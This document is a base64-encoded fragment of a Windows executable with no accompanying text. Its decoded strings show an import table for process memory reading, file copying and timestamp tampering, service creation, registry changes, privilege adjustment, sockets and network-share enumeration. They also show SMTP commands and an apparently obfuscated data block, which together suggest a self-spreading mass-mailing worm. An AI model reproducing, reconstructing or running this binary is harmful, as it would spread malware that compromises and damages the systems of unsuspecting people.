dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA 2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA W4lAAG+zQAAAAAAAAAAAABS0QAAAAAAAAAAAAAAAAAAAAAAAMw1BAEAAAAAgAAAALAAAAC0t AABcAAAAUVVJVA0KAAANCi4NCgAAAERBVEEgDQoASEVMTyAlcw0KAAAAPg0KAE1BSUwgRlJP TTogPAAAAABSQ1BUIFRPOjwAAAAlZAAAIAkNCgAAAAAuLCgpJSRAIWB+IAAtXwAALi4AAC4A AABcKi4qAAAAAFxcAAAAAAAAiRV37zMZmXgQWLjJ8pkAAANNwknczMzMTw42PnYWNj52PFY2 Jk2O5kY+juZGPk/cxFY+PFY2Jk1GLoyET/5m3gaeNj48PmbuTV4G3m5PbgZ+RlY8VjYmTQZG Fk8ONj52FjY+djxWNiZNhjbmJmZPDjY+dhY2PnY8VjYmTe42Jk/2RgYORj52PFY2JjwOFk3m bl5P/mbeBp42Pjw+Zu5N1gbWTw42PnYWNj52PFY2Jk3uRl5eZk9uBn5GVjxWNiZNXubWDk/+ Zt4GnjY+PD5m7k0m5hZGT/ZeJB5GzkY+PFY2PB7OTe42FoY2T/ZeJB5GzkY+PFY2PB7OTc5m 7mbeT942Vhb2NjZuPFY2JjwOFk0WZj4mRj5P3jZWFvY2Nm48VjYmPA4WTRZW9jY+dk/eNlYW 9jY2bjxWNiY8DhZNXjY+LmZmT942Vhb2NjZuPFY2JjwOFk0mRt4GRj7ET942Vhb2NjZuPFY2 JjwOFk1mbiY2Pm5P3jZWFvY2Nm48VjYmPA4WTdbuZv5mPhY2Dk8uZtZWDkZWNjxWNiY81nZN fkY+PoZP3jZWFvY2Nm48VjYmPA4WTc5G7t4GngZGJNZGNk8uZtZWDkZWNjxWNiY8Xt5NHmbe ZiaG7kY+Ty5m1lYORlY2PFY2JjzWdk0u7g7W9k9372c8P2fvTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTZyvz942dt5GJkx/Bi5m1q/3Bj7PDjY+ Zq/3Bj7PDjY+Zjzudh5NZt4/Zu5M1MzMr0bOzq9nPu5m3j9m7jwOhgZNDk1GBj5NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1N 